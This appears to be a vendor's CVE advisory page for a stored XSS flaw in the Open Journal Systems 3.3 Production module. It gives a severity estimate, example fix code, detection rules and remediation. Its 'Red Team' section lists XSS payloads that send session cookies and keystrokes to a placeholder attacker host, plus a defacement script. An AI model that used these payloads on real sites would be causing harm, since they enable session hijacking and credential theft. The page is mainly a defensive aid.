CVE-2024-25436
Executive Summary
CVE-2024-25436 identifies a stored Cross-Site Scripting (XSS) vulnerability in the Production module of PKP Open Journal Systems (OJS) version 3.3. An attacker can inject arbitrary web scripts or HTML via a crafted payload in the "Input subject" field of the "Add Discussion" function. This vulnerability allows for persistent script execution within the context of the OJS application, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is publicly known but currently lacks an official patch from the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the PHP-based PKP OJS application. While not a direct package dependency issue, the risk is amplified if the application is deployed via containerized environments (e.g., Docker) or managed through Composer, as the vulnerable code may be distributed through these channels. Organizations should audit their OJS deployments for version 3.3 and apply any available security updates or workarounds.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability characteristics, a realistic assessment would be:
- Attack Vector (AV): Network (N) – The attack is performed over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs a valid user account with access to the Production module.
- User Interaction (UI): None (N) – The victim does not need to perform any action beyond viewing the affected page.
- Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited modification of data possible.
- Availability (A): None (N) – No impact on availability.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Estimated Score: 6.1 (Medium)
Threat Level: Medium. The requirement for an authenticated user reduces the attack surface, but the potential for persistent XSS in a journal management system poses a significant risk to editorial workflows and user trust.
Deep Dive & Mechanics
The vulnerability resides in the Add Discussion function within the Production module of OJS v3.3. The Input subject field is not properly sanitized or encoded before being stored in the database and later rendered in the browser. An attacker with editor or author privileges can inject a payload such as:
<script>alert('XSS')</script>
When an administrator or other user views the discussion thread, the injected script executes in their browser context. This is a classic stored XSS (CWE-79) where the malicious input is persisted and served to other users.
The vulnerable code likely uses a function like htmlspecialchars() incorrectly or omits output encoding entirely. The subject field is probably stored directly into the database and echoed back without escaping.
Vulnerable vs. Patched Code
Vulnerable Code (OJS v3.3):
// In a template file or controller
$subject = $discussion->getSubject();
echo $subject; // No sanitization
Patched Code (Hypothetical):
// Properly escape output
$subject = $discussion->getSubject();
echo htmlspecialchars($subject, ENT_QUOTES, 'UTF-8');
The patch should ensure that all user-supplied input is properly encoded when rendered in HTML context. Additionally, input validation should be applied to reject or sanitize malicious payloads at the point of entry.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A valid user account with access to the Production module (e.g., Editor or Author role).
- Target OJS v3.3 instance.
Exploitation Steps:
- Log in to the OJS instance.
- Navigate to a submission and enter the Production module.
- Click "Add Discussion" to create a new discussion thread.
- In the "Input subject" field, inject a payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
- Submit the discussion.
- When an administrator or other user views the discussion, the script executes, exfiltrating their session cookie.
Alternative Payloads:
- Session Hijacking:
<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script> - Defacement:
<script>document.body.innerHTML='<h1>Hacked</h1>'</script> - Keylogger:
<script>document.onkeypress=function(e){new Image().src='https://attacker.com/k?k='+e.key}</script>
Blue Team
Detection & Prevention:
- Input Validation: Implement strict server-side validation for the
subjectfield. Reject any input containing HTML tags or JavaScript. - Output Encoding: Use
htmlspecialchars()withENT_QUOTESandUTF-8encoding when rendering the subject field. - Content Security Policy (CSP): Deploy a strict CSP header to mitigate the impact of XSS:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none';
- Web Application Firewall (WAF): Use a WAF to block common XSS payloads in the
subjectparameter. - User Education: Train users to recognize and report suspicious behavior in the application.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to unknown or suspicious domains from the OJS server.
- Unusual
Refererheaders containing JavaScript payloads.
- Host IOCs:
- Presence of
<script>tags or event handlers in thediscussionstable of the OJS database. - Modified JavaScript files or unexpected content in the
public/directory.
- Presence of
- Application IOCs:
- Unexpected pop-ups or alerts when viewing discussion threads.
- Unauthorized changes to user roles or settings.
- Session anomalies, such as multiple simultaneous logins from different IPs.
Detection Engineering
YARA Rule
rule CVE_2024_25436_OJS_XSS {
meta:
description = "Detects stored XSS payloads in OJS discussion subjects"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-25436"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: Stored XSS in PKP OJS Production Module
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS attempts in OJS discussion subjects
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/production/discussion/add'
cs-params|contains:
- '<script'
- 'onerror'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in subject fields (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-25436 - Stored XSS Payload in OJS Discussion Subject"; flow:to_server,established; content:"POST"; http_method; content:"/production/discussion/add"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Production module if not in use, or restrict access to trusted users only.
- Apply input validation to the
subjectfield: strip all HTML tags and encode special characters. - Implement a Web Application Firewall (WAF) rule to block XSS payloads.
Long-Term Fix:
- Upgrade to a patched version of OJS once released by PKP.
- Conduct a full code review of all user-facing input fields to ensure proper sanitization and output encoding.
- Implement a Content Security Policy (CSP) to reduce the impact of any future XSS vulnerabilities.
Workaround:
- If patching is not immediately possible, modify the template file that renders the discussion subject to use
htmlspecialchars():
<?php echo htmlspecialchars($discussion->getSubject(), ENT_QUOTES, 'UTF-8'); ?>
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.